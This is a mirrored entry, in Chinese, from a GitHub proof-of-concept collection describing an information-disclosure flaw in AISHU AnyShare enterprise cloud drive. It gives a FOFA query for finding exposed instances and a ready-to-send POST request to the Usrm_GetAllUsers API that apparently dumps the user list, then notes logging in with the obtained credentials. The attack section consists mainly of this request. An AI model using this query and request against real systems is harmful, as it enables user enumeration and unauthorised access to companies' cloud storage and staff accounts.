mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 19:35:52 +00:00
1.2 KiB
1.2 KiB
爱数企业云盘存在信息泄露漏洞
一、漏洞简介
爱数企业云盘是一个备受欢迎的企业级云存储解决方案，其主要特点包括1、数据安全性高，2、存储容量大，3、访问便捷。爱数企业云盘通过多重加密和权限控制，保障了企业数据的安全性。其大容量存储可以满足企业大量数据存储需求，并且用户可以通过多种设备便捷访问数据。爱数企业云盘存在任意信息泄露漏洞
二、影响版本
爱数企业云盘
三、资产测绘
- fofa
app="AISHU-AnyShare" - 特征
三、漏洞复现
POST /api/ShareMgnt/Usrm_GetAllUsers HTTP/1.1
Host:
[1,100]
使用账号密码登录
更新: 2024-11-27 10:00:07
原文: https://www.yuque.com/xiaokp7/ocvun2/lw5f2lpcye0l5ez8